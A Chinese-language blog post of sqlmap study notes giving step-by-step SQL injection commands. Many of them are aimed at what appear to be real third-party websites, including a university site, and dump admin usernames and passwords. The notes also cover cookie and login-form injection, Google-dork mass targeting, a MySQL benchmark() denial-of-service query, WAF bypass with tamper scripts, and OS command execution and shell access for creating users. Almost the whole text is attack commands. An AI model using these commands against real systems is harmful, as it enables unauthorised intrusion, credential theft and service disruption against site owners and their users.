学习笔记---sqlmap

1.SQLMAP用于Access数据库注入

(1)猜解是否能注入

win:  python sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7"

Linux : ./sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7"

(2)猜解表

win: python sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7" --tables

Linux: ./sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7"  --tables

(3)根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)

win: python sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7" --columns -T admin

Linux: ./sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7"  --columns -T admin

(4)根据字段猜解内容(假如通过3得到字段为username和password)

win: python sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"

Linux: ./sqlmap.py -u "http://www.stronkin.com/en/CompHonorBig.asp?id=7"  --dump -T admin -C

"username,password"

2.SQLMAP用于Cookie注入

(1)cookie注入,猜解表

win : python sqlmap.py -u "http://www.ntjx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2

(2)猜解字段,(通过1的表猜解字段,假如表为admin)

win :python sqlmap.py -u "http://www.ntjx.org/jsj/shownews.asp" --cookie "id=31" --columns -T

admin --level 2

(3)猜解内容

win :python sqlmap.py -u "http://www.ntjx.org/jsj/shownews.asp" --cookie "id=31" --dump -T

admin -C "username,password" --level 2

3.SQLMAP用于mysql中DDOS攻击

(1)获取一个Shell

win:

python sqlmap.py -u http://192.168.159.1/news.php?id=1 --sql-shell

Linux:

sqlmap -u http://192.168.159.1/news.php?id=1 --sql-shell

(2)输入执行语句完成DDOS攻击

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

4.SQLMAP用于mysql注入

(1)查找数据库

python sqlmap.py -u "http://www.slibrary.com/link.php?id=321" --dbs

(2)通过第一步的数据库查找表(假如数据库名为dataname)

python sqlmap.py -u "http://www.slibrary.com/link.php?id=321" -D dataname --tables

(3)通过2中的表得出列名(假如表为table_name)

python sqlmap.py -u "http://www.slibrary.com/link.php?id=321" -D dataname -T table_name --columns

(4)获取字段的值(假如扫描出id,user,password字段)

python sqlmap.py -u "http://www.slibrary.com/link.php?id=321" -D dataname -T table_name -C

"id,user,password" --dump

5.SQLMAP中post登陆框注入

(1)其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件

        我们在使用Sqlmap进行post型注入时,

        经常会出现请求遗漏导致注入失败的情况。

        这里分享一个小技巧,即结合burpsuite来使用sqlmap,

        用这种方法进行post注入测试会更准确,操作起来也非常容易。        

        1. 浏览器打开目标地址http:// www.2cto.com /Login.asp

        2. 配置burp代理(127.0.0.1:8080)以拦截请求

        3. 点击login表单的submit按钮

        4. 如下图,这时候Burp会拦截到了我们的登录POST请求

        5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

        6. 运行sqlmap并使用如下命令:

./sqlmap.py -r search-test.txt -p tfUPass

        这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,

        而-p 大家应该比较熟悉,指定注入用的参数。

注入点:http://testasp.vulnweb.com/Login.asp

几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass

(2)自动的搜索

sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

(3)指定参数搜索

sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=321&tfUPass=321"

6.SQLMAP中Google搜索注入

inurl后面的语言是由自己定的

注入过程中如果选y是注入,如果不是选n

sqlmap  -g inurl:php?id=

7.SQLMAP中的请求延迟

参数 --delay --safe-freq

python sqlmap.py --dbs -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html" --delay 1

python sqlmap.py --dbs -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html" --safe-freq 3

参数

8.SQLMAP绕过WAF防火墙

注入点:http://192.168.159.1/news.php?id=1

sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs  --batch --tamper "space2morehash.py"

space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py

都是编码方式

space2hash.py   base64encode.py charencode.py

9.SQLMAP查看权限

sqlmap -u http://192.168.159.1/news.php?id=1 --privileges

10.SQLMAP伪静态注入

(1)查找数据库

python sqlmap.py -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html" --dbs

(2)通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)

python sqlmap.py -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html" -D dataname --tables

(3)通过2中的数据表得到字段(假如得到的是tablename表)

python sqlmap.py -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html" -D dataname -T

tablename --columns

(4)通过3得到字段值(假如从3中得到字段id,password)

python sqlmap.py -u "http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html" -D dataname -T

tablename -C "password" --dump

11.SQLMAP注入点执行命令与交互写shell

(1)

注入点:http://192.168.159.1/news.php?id=1

此处采用的是Linux系统

sqlmap -u http://192.168.159.1/news.php?id=1 --os-cmd=ipconfig

出现语言的选择根据实际的测试网站选择语言

指定目标站点D:/www/

(2)获取Shell

sqlmap -u http://192.168.159.1/news.php?id=1 --os-shell

出现语言的选择根据实际的测试网站选择语言

指定目标站点D:/www/

输入ipconfig

创建用户和删除用户

只要权限足够大

你可能感兴趣的:(学习笔记---sqlmap)